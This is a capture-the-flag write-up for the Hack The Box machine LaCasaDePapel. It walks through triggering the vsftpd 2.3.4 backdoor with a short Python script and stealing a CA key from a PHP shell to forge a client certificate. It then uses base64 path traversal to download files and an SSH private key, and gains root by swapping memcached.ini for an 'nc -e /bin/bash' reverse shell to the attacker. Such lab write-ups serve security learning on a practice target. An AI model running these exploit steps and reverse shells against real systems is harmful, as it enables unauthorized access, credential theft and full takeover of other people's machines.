LaCasaDePapel is an easy and great box to learn about certificates and ssh configuration. To escalate privileges, it's all about enumeration and finding the correct file.

User Privilege Escalation


First run a nmap to see we have ports 21/ftp, 22/ssh, 80/http and 443/https open.

root@kali:~/htb/lacasadepapel# nmap -sC -sV
Starting Nmap 7.70 ( ) at 2019-04-03 11:10 EDT
Nmap scan report for
Host is up (0.52s latency).
Not shown: 996 closed ports
21/tcp  open  ftp      vsftpd 2.3.4
22/tcp  open  ssh      OpenSSH 7.9 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:e1:c2:c9:79:1c:a6:6b:51:34:8d:7a:c3:c7:c8:50 (RSA)
|   256 41:e4:95:a3:39:0b:25:f9:da:de:be:6a:dc:59:48:6d (ECDSA)
|_  256 30:0b:c6:66:2b:8f:5e:4f:26:28:75:0e:f5:b1:71:e4 (ED25519)
80/tcp  open  http?
443/tcp open  ssl/http Node.js Express framework
Service Info: OS: Unix

On port 80 we have the following website with a picture of the cast from the Netflix show La casa de papel.

On the website we just seem to have the option to create an account to get a free trial and if we visit the site via https we get an error because we require a certificate to continue.

Going back to our scan, we can see we have vsftpd 2.3.4 running on port 21. This version of vsftpd is known to have a backdoor, that causes the system to pop a shell in port 6200 when a user containing a smiley [ :) ] tries to login.

I automated the process with this simple python script to open the backdoor.

root@kali:~/htb/lacasadepapel# cat 
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("", 21))
s.send('USER caca:)\n')
s.send('PASS pipi\n')

After triggering the backdoor we can connect to the shell on port 6200 via nc.

root@kali:~/htb/lacasadepapel# nc 6200
(UNKNOWN) [] 6200 (?) : Connection refused
root@kali:~/htb/lacasadepapel# python 
root@kali:~/htb/lacasadepapel# nc 6200
Psy Shell v0.9.9 (PHP 7.2.10 — cli) by Justin Hileman

Here we don't have a regular shell, but some kind of PHP shell instead.

After trying different functions I didn't find a way to execute commands on the system.

PHP Fatal error:  Call to undefined function exec() in Psy Shell code on line 1
PHP Fatal error:  Call to undefined function exec_shell() in Psy Shell code on line 1
PHP Fatal error:  Call to undefined function system() in Psy Shell code on line 1
PHP Fatal error:  Call to undefined function passthru() in Psy Shell code on line 1

Using the command help we can see a the list of available custom commands on this shell.

  help       Show a list of commands. Type `help [foo]` for information about [foo].      Aliases: ?                     
  ls         List local, instance or class variables, methods and constants.              Aliases: list, dir             
  dump       Dump an object or primitive.                                                                                
  doc        Read the documentation for an object, class, constant, method or property.   Aliases: rtfm, man             
  show       Show the code for an object, class, constant, method or property.                                           
  wtf        Show the backtrace of the most recent exception.                             Aliases: last-exception, wtf?  
  whereami   Show where you are in the code.                                                                             
  throw-up   Throw an exception or error out of the Psy Shell.                                                           
  timeit     Profiles with a timer.                                                                                      
  trace      Show the current call stack.                                                                                
  buffer     Show (or clear) the contents of the code input buffer.                       Aliases: buf                   
  clear      Clear the Psy Shell screen.                                                                                 
  edit       Open an external editor. Afterwards, get produced code in input buffer.                                     
  sudo       Evaluate PHP code, bypassing visibility restrictions.                                                       
  history    Show the Psy Shell history.                                                  Aliases: hist                  
  exit       End the current session and return to caller.                                Aliases: quit, q

If we ls we can see there's a local variable $tokyo declared.

Variables: $tokyo

Using show we can see its code.

show $tokyo
  > 2| class Tokyo {
    3|  private function sign($caCert,$userCsr) {
    4|    $caKey = file_get_contents('/home/nairobi/ca.key');
    5|    $userCert = openssl_csr_sign($userCsr, $caCert, $caKey, 365, ['digest_alg'=>'sha256']);
    6|    openssl_x509_export($userCert, $userCertOut);
    7|    return $userCertOut;
    8|  }
    9| }

It's a function that signs certificates using a key in /home/nairobi/ca.key, so this could help us to access the https website we saw before which require a valid certificate.

To generate one, first of all, let's retrieve the private key using readfile.

=> 1704

Now, we generate a certificate signing request using openssl.

root@kali:~/htb/lacasadepapel# openssl req -new -newkey rsa:2048 -nodes -keyout caca.key -out caca.csr
Generating a RSA private key
writing new private key to 'caca.key'
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:
Email Address []:

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
root@kali:~/htb/lacasadepapel# cat caca.csr

Now we need the website certificate, we can copy paste it when connecting to the site.

root@kali:~/htb/lacasadepapel# openssl s_client -connect -showcerts
Can't use SSL_get_servername
depth=0 CN = lacasadepapel.htb, O = La Casa De Papel
verify error:num=18:self signed certificate

Or we can run the following command which will save it directly into a file.

root@kali:~/htb/lacasadepapel# ex +'/BEGIN CERTIFICATE/,/END CERTIFICATE/p' <(echo | openssl s_client -showcerts -connect -scq > casadepapel.crt

Having the csr, the cert and the key we can create our own public certificate.

root@kali:~/htb/lacasadepapel# openssl x509 -req -in caca.csr -CA casadepapel.crt -CAkey ca.key -CAcreateserial -out pipi.crt -sha256
Signature ok
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
Getting CA Private Key

Since Firefox doesn't accept crt files, we create a p12 certificate using the key and the crt.

root@kali:~/htb/lacasadepapel# openssl pkcs12 -export -in pipi.crt -inkey caca.key -out pipi.p12
Enter Export Password:
Verifying - Enter Export Password:

Import it on the certificate manager tab and we're ready to go.

Now we're able to access the private area where we can download both seasons of the Netflix serie.

The URL to view the files is and if we play with that path variable we can see it's possible to go to the parent directory using ?path=.., where there's the user flag.

Also, the URL to download a file has this structure If we decode that strange string in base64 we'll see it's just the path of the file to download.

root@kali:~/htb/lacasadepapel# echo U0VBU09OLTEvMDEuYXZp | base64 -d

We just have to encode the path where the file is located.

root@kali:~/htb/lacasadepapel# echo -n "../user.txt" | base64

And replace the base64 value (

root@kali:~/htb/lacasadepapel# cat user.txt 

Privilege Escalation

Enumerating a bit, we should see that the folder .ssh contains a private key id_rsa. Encode the path to base64.

root@kali:~/htb/lacasadepapel# echo -n "../.ssh/id_rsa" | base64

Replace again the base64 string ( and download the key.

Change the file permissions to be able to use it.

root@kali:~/htb/lacasadepapel# chmod 600 id_rsa 

If we go to ?path=../../ we'll see we have the following users (we can also download /etc/passwd).

Connecting via ssh with the obtained private key and those users, we should see the connection is established if we use professor.

root@kali:~/htb/lacasadepapel# ssh -i id_rsa professor@

 _             ____                  ____         ____                  _ 
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|

lacasadepapel [~]$ 

On our home directory, we have some files from memcached owned by root.

lacasadepapel [~]$ ls -al
total 24
drwxr-sr-x    4 professo professo      4096 Mar  6 20:56 .
drwxr-xr-x    7 root     root          4096 Feb 16 18:06 ..
lrwxrwxrwx    1 root     professo         9 Nov  6 23:10 .ash_history -> /dev/null
drwx------    2 professo professo      4096 Jan 31 21:36 .ssh
-rw-r--r--    1 root     root            88 Jan 29 01:25 memcached.ini
-rw-r-----    1 root     nobody         434 Jan 29 01:24 memcached.js
drwxr-sr-x    9 root     professo      4096 Jan 29 01:31 node_modules

On the ini file there's the command which should be executed to run memcached.

lacasadepapel [~]$ cat memcached.ini
command = sudo -u nobody /usr/bin/node /home/professor/memcached.js

We can't modify the content of the file because its permissions, but we do can replace it.

Change the filename of the original ini file.

lacasadepapel [~]$ mv memcached.ini memcached.old

And then, create another one but now with a nc reverse shell to our machine.

lacasadepapel [~]$ echo -ne "[program:memcached]\ncommand = nc 6969 -e /bin/bash" > memcached.ini

When the service tries to run again, if we were listening on the specified port we should receive a shell from root.

root@kali:~/htb/lacasadepapel# nc -nlvp 6969
listening on [any] 6969 ...
connect to [] from (UNKNOWN) [] 38783

And now we're able to read the root flag.

cat /root/root.txt